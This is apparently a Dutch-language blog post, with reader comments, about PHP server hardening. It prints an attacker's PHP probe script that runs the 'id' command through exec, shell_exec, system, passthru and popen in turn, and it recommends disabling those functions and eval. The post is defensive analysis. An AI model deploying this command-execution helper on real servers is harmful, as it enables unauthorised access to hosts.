PHP security: Eval is evil?

Naar aanleiding van mijn vorige post een beetje naar de tooltjes zitten kijken die de script kiddies op mijn serverken loslaten. Een voorbeeldje:

<?php
echo “549821347819481<br>”;
$cmd=”id”;
$eseguicmd=ex($cmd);
echo $eseguicmd.”<br>”;
function ex($cfe){
$res = ”;
if (!empty($cfe)){
if(function_exists(‘exec’)){
@exec($cfe,$res);
$res = join(“\n”,$res);
}
elseif(function_exists(‘shell_exec’)){
$res = @shell_exec($cfe);
}
elseif(function_exists(‘system’)){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists(‘passthru’)){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,”r”))){
$res = “”;
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit;

Met behulp van achtereenvolgens exec, shell_exec, system, passthru en popen proberen ze dus aan command line functies van het (linux/ unix) OS te geraken?

Alzo; bannen die handel, met de ‘disable_functions in php.ini. En als ge daar dan toch weer aan het editeren zijt, voeg ‘eval‘ ook gerust toe, want daarmee wordt extern verkregen code uitgevoerd …

Aanpassen, Apache herstarten en je applicaties testen, want ge weet nooit of één van die functies toch niet absoluut nodig is voor één of ander obscure PHP-applicatie …

12 thoughts on “PHP security: Eval is evil?

  1. Philip Paeps

    PHP? Security? Brouahahahahaaaa! Grapjas. Dat ding is lekker dan een zeef. Op bepaalde security mailing lists, wordt het “Permanent Holes Present” genoemd. Of zelfs “Pretty Horrible Parser”.

    Naast het feit dat de implementatie continu lek is, is het ook natuurlijk een groot probleem dat iedereen en zijn kat vrolijk op een internet-facing machine PHP mag laten draaien zonder enige training of ervaring in het schrijven van software.

    Zou jij iemand die je niet kent of betrouwt een Apache DSO laten laden op je webserver? Daar komt PHP dus gewoon op neer: random code die in de context van je httpd mag executen.

    Scary stuff.

    Reply
  2. frank

    Eval is de max! Net als popen, passthru, exec en heel den hoop. Ge moet het alleen safe gebruiken. Opnieuw: uw site is zo safe als uw code. Als de kiddies al een eval() kunnen uitvoeren op uw server, dan is er een script dat zo lek is om minstens dat toe te laten. Aangezien je quasi alles kan programmeren in php zonder die “stoute” functies te gebruiken, kunnen ze toch alles doen dat ze met eval(), popen() enz ook kunnen.

    Reply
  3. futtta Post author

    de vraag is of een developer met absolute zekerheid kan zeggen dat zijn code script-kiddie-proof is. zolang dat niet het geval is, denk ik dat het niet onzinnig is om sommige functies gewoon te bannen.

    hetzelfde geldt dan nog eens 1000 keer meer als je php-software moet installeren die je niet zelf geschreven of gereviewed hebt. denk aan al die linux-bakjes met oude gatenkaas-versies van wordpress of joomla of phpwhatever op, dat is helemaal de hel!

    Reply
  4. frank

    Ik blijf bij mijn punt: als ze al een eval() kunnnen doen, zijn ze al binnen, en kunnen ze alles doen wat ze willen in die account. Het is veeeeel nuttiger je server te beveiligen dat 1 rot script enkel schade kan doen aan dat ene account.

    Reply
  5. futtta Post author

    > “als ze een eval kunnen doen zijn ze al binnen”

    ha, maar daar zit het hem juist; die eval() zit in het denkbeeldige phpcrapware 0.16b achter een formulierke in de admin, zodat de eigenaar van phpcrapware makkelijk php-snippets kan toevoegen. in die (oude) versie blijkt nu toch wel een security issue te zitten die anonymous users toegang tot de admin geeft zeker. onze would-be hacker heeft een scriptje gevonden dat dat gaatje exploiteert, geraakt zo probleemloos binnen als admin en kan middels het php-snippet-formulierke direct beginnen klooien in php. nu: indien eval gedisabled was, dan zou de schade toch heel wat beperkter zijn geweest (beetje defacing van de content ofzo)?

    enne, dat van een formulierke voor php-snippets, dat bestaat dus echt eh …

    maar: een goed beveiligde server is idd minstens even belangrijk ;-)

    Reply
  6. frank

    Wat je dus zegt is dat het beter is bestaande functionaliteit in sites van klanten te disablen dan te verhinderen dat ze schade aan andere sites kunnen doen?

    Zoals ik al in zo veel talks gezegd heb: als deel van je security plan (voor een shared server) is om deze features, maar ook rommel als safe_mode aan te zetten, dan biedt je beter enkel statische html en jpeg aan. Just my 0.02ct

    Reply
  7. futtta Post author

    ik denk dat het in de eerste plaats belangrijk is dat jan, pier en bvba pol met een serverken weten dat php in het algemeen en een aantal krachtige functies in het bijzonder, risico’s met zich meebrengen. eenmaal ze dat weten, is het “enkel” nog kwestie om naargelang hun context, kennis en “geloofsovertuiging” maatregelen te nemen om indringers buiten te houden en/of schade te beperken.

    in mijn persoonlijke en professionele context is het disablen van een aantal php-functies (en evt. zelfs safe_mode) zeker een interessante piste (“a valid option”).

    dat jouw context verschilt van de mijne, is een feit, over je geloofsovertuiging kan ik me niet uitspreken, maar misschien hoor ik daar in een talk ooit meer over? :-)

    Reply
  8. frank

    Jan, Pier en Pol bvba moeten geen webserver opzetten als ze hem niet kunnen beveiligen… Zolang je jan/pier/pol zonder enige security achtergrond iets geeft dat vrij direct via het internet bereikbaar is, zullen ze tegen de lamp lopen. Kijk naar de miljoenen en miljoenen gehakte windows pcs van thuisgebruikers.

    Reply
  9. futtta Post author

    in een ideale wereld doet iedereen misschien enkel wat hij of zij ook echt kan (beetje saai, maar kom) en er zou zo heel wat minder mislopen, maar dat is nu eenmaal anders.

    het lijkt me dan ook nuttig om informatie te verspreiden om neofieten en andere security-onwetenden een beetje voor te lichten over hoe je de risico’s van onbeschermde lamp-servers op het internet kunt beperken, al is het maar om hen er op te wijzen dat ze er misschien toch beter professionals bij betrekken.

    vandaar mijn oorspronkelijke post dus :-)

    Reply

Leave a Reply

Your email address will not be published. Required fields are marked *